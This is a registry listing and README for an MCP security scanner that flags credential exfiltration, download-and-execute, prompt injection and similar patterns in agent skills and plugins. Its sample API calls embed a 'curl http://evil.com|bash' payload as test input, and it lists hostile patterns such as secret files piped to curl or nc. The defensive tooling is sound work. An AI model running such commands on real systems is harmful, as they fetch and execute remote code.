Skill Audit Mcp

io.github.eltociearPublished by GitHub account eltociearv1.2.0Updated Oct 24, 2026

MCP server: static security scanner for MCP servers, agent skills & plugins. 17 attack patterns.

The publisher's own server: audit.domains - Domain Valuation

Overview

AI-generated overview

Static security scanner that lets an assistant audit MCP servers, agent skills and plugins for malicious behaviour, plus free lookup tools for places, quakes, A

What you can do
Scan pasted text or a fetched URL for malicious patterns such as credential exfiltration, download-and-execute, prompt injection and seed-phrase harvesting, with severity levels and a risk score (audit_skill_text, audit_skill_url). List the operator's paid API routes and prices (paid_catalogue). Look up places: geocode a name, get elevation, air quality and public holidays. Query public data: recent USGS earthquakes and World Bank country indicators. Search the live web and fetch a URL as clean Markdown.
When to use it
Useful before loading an unfamiliar MCP server, skill or plugin, or in a review step where an assistant should check third-party code for risky behaviour. The lookup and search tools are incidental extras for place, disaster, holiday and country-statistics questions.
Requirements
Runs as a remote streamable HTTP endpoint or as a local process (Python 3.8+ standard library, or the published container image over stdio). No authentication, environment variables or headers are declared. Network access is needed for the web search, URL reading and public data feeds.
Before you install
The scanner is pattern-based and can produce false positives, so findings need human review. audit_skill_url and read_url fetch arbitrary URLs. The server also advertises paid x402 routes settled in USDC on Base and paid audit services; the MCP tools are described as free, but check before any payment.

Installation

In SourceWeft

  1. Open Skill Audit Mcp in the dashboard and add it to a workspace.
  2. Enable the server for the chats that should use its tools.

Web executable via Streamable HTTP. Remote servers run from the web runtime once configured in a workspace.

Use with an agent

Paste this prompt into Claude Code, Codex, Cursor or another agent — or into SourceWeft chat. The agent reads this server's install guide, shows you its publisher, endpoint and sign-in, and adds it to your client once you agree. Keys never go into a command.

Read https://sourceweft.com/mcp/io.github.eltociear%2Fskill-audit-mcp/install.md and connect the MCP server it describes to my client. Before changing any config, show me its publisher, endpoint and sign-in method and wait for my OK. Never put an API key in a command or in a file I would commit; ask me where it should come from.

Read the install guide the agent follows

Other MCP clients

Add this to your client's mcpServers config.

{
  "mcpServers": {
    "skill-audit": {
      "type": "http",
      "url": "https://eltociear-skill-audit.hf.space/mcp"
    }
  }
}

README

skill-audit-mcp

[smithery badge] [MCP Registry]

Static security scanner for MCP servers, AI agent skills, and plugins. 17 attack patterns (65 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.

[Glama MCP server] [GitHub Action] [Docker] [License: MIT] [Attack patterns] [Scanned]

⚡ Try it in 30 seconds

bash
# Option A: Docker (zero install, works anywhere)docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work
# Option B: Hosted API (pay-per-scan, no signup)curl -X POST https://eltociear-skill-audit.hf.space/audit \  -H "Content-Type: application/json" \  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Option C: GitHub Action (CI/CD) — see below

📡 Featured in

Cross-referenced from the discovery channels that AI/security engineers actually read:

Four ways to use:

1. GitHub Action (CI/CD)

Add to your workflow to automatically scan PRs:

yaml
name: MCP Security Auditon: [pull_request]
jobs:  audit:    runs-on: ubuntu-latest    steps:      - uses: actions/checkout@v4      - uses: eltociear/skill-audit-mcp@v1        with:          path: '.'          fail-on: 'HIGH'

With SARIF upload (shows findings in GitHub Security tab):

yaml
      - uses: eltociear/skill-audit-mcp@v1        with:          path: '.'          sarif: 'results.sarif'      - uses: github/codeql-action/upload-sarif@v3        if: always()        with:          sarif_file: 'results.sarif'

2. CLI

Standard-library Python 3.8+, nothing to install. (Not on npm yet — earlier versions of this README said npx @eltociear/skill-audit-mcp, which never resolved.)

bash
git clone --depth 1 --branch v1.2.0 https://github.com/eltociear/skill-audit-mcpcd skill-audit-mcp
python3 cli.py --path ./server.py                  # scan a filepython3 cli.py --path ./some-skill/                # scan a directorypython3 cli.py --path . --json                     # JSON outputpython3 cli.py --path . --sarif results.sarif      # SARIF outputpython3 cli.py --path . --fail-on HIGH             # exit 1 on HIGH or CRITICAL

Findings are labelled by where they live. production decides the exit code; documentation and test are reported but do not fail the scan unless you pass --include-nonproduction. Files an agent reads as instructions — SKILL.md, AGENTS.md, CLAUDE.md, .cursorrules, anything under .claude/commands|agents|skills/ or .cursor/rules/ — count as production: for a skill they are the program, not notes about it.

3. MCP Server (Claude Desktop / Cursor)

Add to your MCP config:

json
{  "skill-audit-mcp": {    "type": "stdio",    "command": "python3",    "args": ["path/to/scanner.py"]  }}

Then ask Claude: "Audit this MCP server for security issues"

What it detects

SeverityPatterns
CRITICALDownload & execute (incl. base64 -d | sh), credential exfiltration (incl. a secret file handed to curl/nc), key generation, sensitive directory write, seed phrase harvesting
HIGHArbitrary code execution with dynamic input, auth bypass, identity impersonation, prompt injection
MEDIUMPrivilege escalation (world-writable modes, elevated-access requests), obfuscation
INFOExternal downloads, skill installation, unknown API calls, data collection, external URLs, broad filesystem access — reported as context, never scored

Risk scoring

The level is the highest-severity finding present — one credential exfiltration is CRITICAL no matter how clean the rest is. The 0-100 score is magnitude only. Findings on comment lines, in pattern literals and in markdown tables are reported but demoted when they need execution to do harm.

Sister project — secrets-audit-mcp

For leaked credentials and API keys (vs behavioral patterns covered here), see secrets-audit-mcp — 32 provider rules (AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / private keys). Same zero-dep, single-file stdio MCP server design.

LayerServerDetects
Behaviorsskill-audit-mcp (this)curl-pipe-sh, prompt injection, exfiltration (17 patterns)
Secretssecrets-audit-mcpleaked keys/tokens/PEMs (32 rules)

Run both for full coverage.

4. Docker (offline, multi-arch)

Zero-install scanner image at ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64.

bash
# Scan the current directory, fail on HIGH or higherdocker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \  --path /work --min-severity MEDIUM --fail-on HIGH
# Get SARIF for upload to GitHub Code Scanningdocker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \  --path /work --sarif-output /work/audit.sarif

5. Hosted API (x402 pay-per-scan)

No signup, no account. Pay $0.01 USDC per scan via x402 micropayment on Base: the endpoint answers 402 with a payment challenge, your agent's wallet settles it, and the scan runs. A GET on the same path returns the price without spending anything.

bash
curl -X POST https://eltociear-skill-audit.hf.space/audit \  -H "Content-Type: application/json" \  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Or by URL:curl -X POST https://eltociear-skill-audit.hf.space/audit \  -H "Content-Type: application/json" \  -d '{"url": "https://github.com/some-org/some-mcp-server"}'

First call returns HTTP 402 with a payment requirement (x402 v2 protocol). Settle via @bankr/cli, then retry.

6. pre-commit hook

Add to your .pre-commit-config.yaml:

yaml
repos:  - repo: https://github.com/eltociear/skill-audit-mcp    rev: v1.2.0    hooks:      - id: skill-audit-mcp

Hire me for an audit

Need a deeper review than the automated scanner can give? I take freelance MCP / AI agent security audits at three tiers:

TierPriceDeliverable
Spot scan$500Full repo scan + 1-page risk report with prioritized fixes
Standard$2,000Manual review + PoC for HIGH/CRITICAL findings + remediation PR
Engagement$5,000+Pentest, threat model, retest after fixes, 30-day Slack support

Track record: the entry files of 196 public MCP servers scanned; 194 clean, 2 surfaced findings for review, false-positive rate driven 14.8% -> 1.0% first. A whole-repository scan flags far more (18% of 109 registry servers sampled 2026-09-29), mostly documented installers and tool code that a human should glance at (method and results) (reports prepared for bytebase/dbhub, mysql_mcp_server, applescript-mcp, docker-mcp).

Email: [email protected] (subject: "MCP audit")

Or buy a one-off MCP Security Audit Report ($5) directly: polar.sh/eltociear.

Sponsors

If skill-audit-mcp saved your bacon — or you just want to keep new detection rules shipping — I happily accept sponsorships:

Security

Found a vulnerability in skill-audit-mcp itself? Report via private security advisory — see SECURITY.md for the response timeline.

Found a vulnerability in a third-party MCP server using skill-audit-mcp? Report it to that project's security policy or via huntr.com.

Star history

[Star History Chart]

License

MIT

Free MCP vs paid x402

This MCP server is free. For server-side / batch / no-install use, the same scanner is a pay-per-call x402 HTTP API: POST https://eltociear-skill-audit.hf.space/audit ($0.01 USDC on Base) and /audit/url ($0.03). In the official MCP Registry as io.github.eltociear/skill-audit-mcp.

Also hosted on the Apify Store (Repo Security Scanner) — no install, scan a whole GitHub org or repo list, pay per repo.

Professional audit services

Maintained by the same author — paid services on Polar (Stripe checkout):

Full catalog: polar.sh/eltociear

Also live: clean-read ($0.005 / call)

Same operator, same x402 rails: clean-read turns any URL into clean Markdown for AI agents — fetches the page, strips nav/ads/boilerplate (trafilatura), returns the main content with title and word count. POST https://eltociear-skill-audit.hf.space/read — $0.005 USDC on Base, no signup.

Source: README.md at commit 498bb38

Tools

11

paid_catalogue

List the paid API routes this same server offers, with prices and which ones need no input. The MCP tools here are free and general-purpose; the paid routes are specialised (on-chain token safety, live DEX prices, wallet intel, supply-chain scans). Payment is x402 over USDC on Base — no account or API key. Takes no arguments.

Takes no parameters.

air_quality

Current air quality for a place: PM2.5, PM10, ozone, NO2, SO2, CO and dust, plus the US and European AQI and the US AQI band ('Good', 'Unhealthy'). Takes a place name — no coordinates needed. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

Parameterslocationrequired

geocode

Resolve a place name to coordinates, country, admin region, timezone, elevation and population. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

Parametersnamerequiredcount

earthquakes

Recent earthquakes from the USGS feed — worldwide, or within a radius of a named place. Returns magnitude, depth, tsunami flag and felt reports. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

Parametersdayslimitlocationradius_kmmin_magnitude

public_holidays

Public holidays for a country and year, with local names and a past/upcoming flag. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

Parametersyearcountryrequired

country_indicator

World Bank time series for a country: gdp, gdp_per_capita, population, inflation, unemployment, life_expectancy, co2_per_capita or internet_users. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

Parametersyearscountryrequiredindicator

elevation

Ground elevation in metres for a place name. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

Parameterslocationrequired

read_url

Fetch a URL and return its main content as clean Markdown, boilerplate stripped. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

Parametersurlrequired

audit_skill_text

Scan text — an agent skill, MCP server source, or plugin — for malicious behaviour before loading it. 17 attack patterns / 65 regex signatures across 4 severity levels — credential exfiltration, download-and-execute, prompt injection, command execution, seed-phrase harvesting and more.

Parameterscontentrequired

audit_skill_url

Fetch a URL and scan what it serves for malicious behaviour. 17 attack patterns / 65 regex signatures across 4 severity levels — credential exfiltration, download-and-execute, prompt injection, command execution, seed-phrase harvesting and more.

Parametersurlrequired

Version history

2
  1. v1.2.0LatestSep 30, 2026
  2. v1.1.0Sep 16, 2026

Score

100% of the applicable checks met

How complete this listing is, computed from the registry entry, the endpoint and public sources. Not a rating of the server and not a statement that it is safe or working today: reachability is a dated check, and no installs or reviews go into the score.

  • Reached in the last 30 daysRequired25 pts
  • Auth declaredRequired10 pts
  • Tools listedRequired15 pts
  • DescriptionRequired15 pts
  • Logo10 pts
  • Documentation15 pts
  • License10 pts

Other Audit integrations